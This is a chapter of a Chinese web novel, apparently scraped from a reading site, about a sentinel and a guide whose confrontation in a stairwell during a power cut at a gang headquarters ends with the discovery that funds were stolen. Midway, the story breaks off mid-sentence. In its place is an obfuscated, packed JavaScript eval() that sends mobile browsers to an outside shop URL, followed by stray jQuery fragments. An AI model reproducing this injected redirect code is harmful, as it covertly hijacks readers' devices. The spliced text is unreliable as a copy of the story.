文趣网 > 都市小说 > 前男友他又OOC啦!![快穿] > 7. 第七章 无人区玫瑰06
    袁文驹想起以前。

    他是和K一起被先生收养的,K从小就混不吝,把拘谨的袁文驹都带坏了,两人都喊先生老头,生生喊了近十三年。

    相比手下,他们实则更像养子,和先生同住在第一大道,阿信教K打台球,带K出海。

    而袁文驹的时间,永远只有面前那方黑白棋盘。

    那好像是他十四岁的一个傍晚。

    陈竟客比他小一点,却已经分化成了哨兵,天天和阿信在楼下对练,K可以满世界野,他只能拘束在书房里。

    先生执黑,他执白,两人对坐到太阳西落,直到百叶窗页盛满艳红的落日,留下道道清晰的光影。

    “文驹,你心不稳,”先生挪了一步兵,袁文驹抬手想动车,被男人以目光止住,“不要急。”

    少年彼时沉不住气,缩回手,眼睛盯着对方的国王,指尖落在了自己的皇后上。

    象牙触手温润,那枚小小的后冠棱角分明,他握起,却没有往前推。

    送上前,敌方已经布满了天罗地网,推两格要担心马,走三步要当心车。

    这时候交后实在不是好棋,皇后可值9分呢。

    先生唤住他,温声细语道:“文驹,你是不是在想,为什么我不让你动车?”

    袁文驹被说中心事,沉默片刻,只能说:“请先生明示。”

    先生点了点棋盘:“如果,我将这枚兵推到你的战线底部,”他举起那枚棋子,又放下,向袁文驹示意,“升变成为皇后,而你的车早早出动,接下来怎么办,想王车易位?可是你的车已经动过了。”

    王车易位。

    只允许在国王和车都没有动过的情况下,两枚棋子移动,车将王保护起来,不暴露在棋盘中央。

    袁文驹因此吃过几回亏,要么是车动早了,要么是堆了一堆棋子在后方,王走都走不动。

    先生笑了笑:“当然,我只是说这一盘。棋场如战场,招无定式,千变万化,文驹,你要做好万全的准备。”

    这话很有深意。

    少年坐在棋局前,踌躇着落子,先生都收在眼底,将他杀到残局,末了鼓励道:“……倒也不必束手束脚,拼到最后,可以相信你的国王。”

    王车易位。

    还是,相信国王。

    相信陈竟客。

    开门键几乎快被他摁烂,不到二十秒的上行,袁文驹脑海中掠过无数,他在上一层赶下去,一定来得及救K,二十秒,K会不会出事?

    不会的。陈竟客是S级哨兵,齐行山只是一个向导,不擅长近身缠斗,不会有事的……

    “靠。”他一拳砸在电梯内壁上,顶部的灯抖了抖,显示屏的数字正准备从负一跳回一。

    袁文驹的呼吸越来越急,等来的却不是平稳落地的嗡鸣声,灯光明灭。

    下一瞬。

    顶光骤熄,显示屏的光亮撑不过三秒,也狼狈为奸得暗掉了。

    袁文驹后退两步,不甘心地握拳,重重锤上轿厢,钢铁沉默受了两击。

    指节传来的疼痛宛如针刺,他颓然地坐倒在地上,花了三秒接受这个事实——

    “停电了?”

    齐行山望向陈竟客,哨兵的眸光在黑暗里清透极了,却没有看他。

    “可能是电路跳闸,总部有备用能源,不要紧,一会儿就来电了,”哨兵镇定,话很轻,“你不是怕黑吗?”

    向导当然没忘自己立的人设,不动声色往陈竟客身边凑了一步,又一步。

    陈竟客默许了他的靠近,对他勾了勾手指,说:“走楼梯。”

    黑暗中哨兵的感官格外敏锐,熟悉的凉意源源不断从后面的身躯传来,一点点刺激着他的神经。

    向导压根就没有收好精神力,精神触角无声地撞上他,又摆开,如痴缠不断的海草。

    楼梯间并非绝对静谧,各个楼层的人大呼小叫,齐行山很懂事地没问哥要带我去哪儿。他只是低头,沉默地一步一步跟上陈竟客的步伐。

    停电了,时间刚刚好。

    他将碍事的车暂时请出棋盘,眼下,只有他们两个人,陈竟客知道吗?存疑。

    齐行山的人生信条就是从不小瞧猎物,尊重是优秀猎手的原则。

    况且K那么难对付,一副看透了他配合他演戏的模样,总让他有种不安的预感。

    陈竟客突然开口了:“你很笃定,我不会杀你。”

    “没有,”齐行山下意识否定,“哥绑我是为了密钥,密钥还没有要到,你怎么会杀我。”

    哨兵把问题抛了回去,“现在也没要到,所以要你有什么用。”

    齐行山很兴奋地感知一番,然而哨兵周围没有厮杀的精神波动,他悻悻地叹口气。

    陈竟客的精神图景大概在崩解,温暖的阳光外泄,甚至不自觉主动与他的精神触角勾连,缓慢化作温和的精神力。

    两层楼,楼梯间闭塞,陈竟客如此坦然地将后背露给他,风衣下摆时不时擦过齐行山的膝盖,隔着衣料。

    他抬手,想去抓摇摆的系带,就听见一声警告:“干什么呢。”

    “你在生我的气,”楼梯间本来就挤,向导还要抢着跟他并肩而行,齐行山大概也觉得走地艰难,加快几步站在他上首,说道,“陈竟客,我一没招你二没惹你,你干什么总对我发脾气。”

    陈竟客听的好笑:“不然呢?我是绑匪,你是人质,难道我把你当菩萨一样供起来?”

    齐行山走下一步,挡住他的去路,向导本来身量就比他高,陈竟客仰着脖子说话,已经够不爽了:“让开。”

    “哥,我……”

    陈竟客打断他的长篇大论,心中默默感叹:真能演啊,随时随地来一段,想把他堵在这多久?三分钟,五分钟,想等着下在Sophie电脑里的程序跳满?

    医疗部是独立供电的,真聪明啊。

    K没时间在这多费口舌,握住齐行山的手腕,往下一压,一拧,骨节作响,向导被抵在栏杆上。

    陈竟客踏上台阶,关节扭曲的声响随之更大,齐行山呼吸粗重,下颌线绷得极紧,唯独一双眼睛盯着他不放。

    向导体温又是热的,不像精神力那么冰冷。

    左手手腕的脉搏跳动很快,齐行山每一次呼吸都像在拼命掠夺氧气,开口时,嗓子都哑了:“哥,我疼。”

    “疼就长记性。”陈竟客松手,齐行山靠在栏杆上喘气,好悬没抓稳,滑下去。

    陈竟客没再带他往上走的意思:“你不知道密钥。”

    权衡一下,齐行山还是选择说了真话:“是。我不知道。”

    陈竟客拆了根烟,叼着滤嘴点着,他靠着墙,火光勉强映亮两人的身影。他深吸一口,没有吐出来多少,道:“也是。怪不得什么都问不出来。”

    明灭的火焰将人的眉眼照得很深,齐行山上前一步,问:“那哥带我上来,做什么?”

    “找个地方把你打一顿啊,”陈竟客像是彻底放弃了拿到密钥,让齐行山有些捉摸不透了。

    陈竟客以前很少笑,偶尔勾起点弧度,齐行山都以为是法外开恩,现在却毫不吝啬。

    K朝他吐了口烟,说:“我倒是一直有个问题。”

    以往狙击镜里的目标近在咫尺,心率很不好的开始飙升,继而,让他神智不清地想再靠近。

    温热的烟气瞬间转冷,呛得人喉间发痒,齐行山没忍住,再往前迈了一步。

    “齐行山。”

    烟灰从陈竟客指尖抖落,向导呼吸都快停了,像发动攻击前最后的停滞。

    陈竟客知道,狙击手开枪前的老毛病,他第一次试的时候差点没把自己憋死。像齐行山,像Q这种爱追求登峰造极的,甚至能找到心跳的间隙开枪。

    “你的目标是什么?不简单,把我们一群人当二百五耍,齐家能用得起这枚大棋吗,你哥和你爹恐怕做梦都不敢想。

    还是说,齐行山这个身份从头到尾就是假的,我该叫你什么呢?”

    “不是。”

    骤然被他打断,陈竟客将那个字母从舌尖按下,回道:“那是什么,你嘴里有半句真话?”

    “从见到哥开始,我说的每一句话都是真的。”

    向导很表明心意,可惜只换来陈竟客了然:“选择性的真话。”

    “我就是齐行山,哥问我想要什么?”估计是觉得一直盯着K的眼睛太直白,齐行山垂眸,“我想要的,其实只是离开齐家。”

    与其弯弯绕绕,直球出击更对K的性子。他抬头,陈竟客果然没有作声。

    “然后我的偶像,就把我绑了,带走了。”

    齐行山顿时觉得自己真的很会省略真相。明明是他看上K,计划这笔钱,煞费苦心让陈竟客选择绑他,把他带走了。

    但过程一样,结果一样,也是真的。

    国王不需

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909625|213085||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要知道前因后果。

    只需要知道他在眼前,默许,给予他一个跨越棋盘的机会。齐行山取代号的时候没想那么多,现在重新复盘,又觉得Q很适合了。

    如果他也是国王,他们必须隔出一格,王不见王,他永远只能远远看着。

    而非,此刻再近一点,就呼吸可接。

    陈竟客默默抽完了一支烟。

    “你现在信我吗?”齐行山小心翼翼问了一句,“我真的,没有想对你不好。你问我,我知道的都说了,我只是不想让哥那么早觉得我没用,把我送回去,或者丢进海里。”

    最后几个字几乎小心翼翼,不仔细去听,或许还真听不见,

    “信是信,对我好不好另说。”

    陈竟客态度暧昧极了,不置可否,他灭了烟,领着人往上走。

    齐行山刚刚那一通近乎表白的话,让他又好笑,又有些笑不出来。

    想笑小孩拙劣,但说话时,向导眼睛里闪烁的情绪不像作假,半真半假最难猜透,很符合剧情,这个世界的齐行山在他身上又栽了。

    彻彻底底那种。

    至于好不好的问题,一报还一报,陈竟客等得起,也能奉陪到底。

    第四层,他们离开安全通道。

    齐行山这才看清楚白沙总部的全貌,环形的走廊,穹顶是透明天窗,比他想象中的更大。反而,没那么暴力,也不是古朴的堂口,反而像一座别样的别墅。

    就是地下挺乱的。

    他记下几处出口,各个部门的位置。目光多停留了一瞬,以至于没有发现,哨兵看了他许久。

    有不少人撞见陈竟客,后者随便揪住个人问:“突然断电是怎么回事,前几天电路不是才报修过吗?”

    “哪里是停电啊,”来人说话很急,“我听他们刚刚搬发电机的人说,是花织的袭击,提前破坏了电路。”

    “行,你去忙吧。”

    陈竟客转头,齐行山很不着痕迹地往旁边缩了缩。

    哨兵说:“站那么远干嘛。”

    向导和他并肩而行,没走出几步路,走廊的灯光闪烁几下,亮了。低楼层反而更吵,陈竟客扶着玻璃,往下看了几眼。

    “K!”负责数据的小六不知道从哪个角落冲出来,见到他就是高声大喊,“出事了!出大事了!”

    “怎么了?”陈竟客习惯动身之前把事问清楚。

    小六没有注意到他后面还杵了个向导,张嘴就是倒豆子般把话说干净了:“刚刚一来电,我待在联络室,那个安全箱一直放我这的都没人碰,我打开内置的电脑,账号就已经清空了!被转移走了!”

    陈竟客扫了一眼,很冷静评论道:“花织转的,Q的手笔,你们保密没做好,被他们知道了。”

    小六还想说什么,可K的态度太云淡风轻了,那可是几亿港币啊,说转走就转走了,K像猜到了一样,上下嘴皮子一碰告诉他没事?!

    “这事我回头和先生说,去做安全防护吧,我们的网络得升级了。”

    小六木讷地点头,腿比脑子快,转身就跑了。

    齐行山站在一旁。现在在陈竟客面前装无辜还能成功吗?

    他筹划了三个多月,做了无数套Plan,最好的情况是直接拿到手提箱,其次就是混进白沙总部,只要让他摸到一台计算机就可以了。

    绑他时K没搜出来那枚u盘,只要插入接口,就能自动连上内部网络开始传输。

    还好是去了医疗部,齐行山本来预备断电,特意装了一小块微型电池。谁知道陈竟客是带他去的医疗部,正好在看报告的时候,能按进Sophie的电脑里。

    不过,是不是有点太顺了?

    复盘下来,陈竟客带他来,带他去医疗部,配合他拖延时间,现在甚至——好像还没有责备他的意思。

    不应该。

    齐行山心中警铃大作,他还没来得及说上一句,至少掩人耳目的话。

    袁文驹好歹是从电梯冲了出来,一路追问冲上了四楼,他第一眼确认陈竟客的安危,第二眼却发现——那个向导没缺胳膊少腿,安然地站在K身边。

    这这这这对吗?

    他还以为齐行山已经被丢进海里喂鲨鱼了。

    “陈竟——”

    袁文驹的话音骤停,因为他看见,陈竟客抬起一根手指,抵在自己唇上,比了个噤声的动作。

    不要说。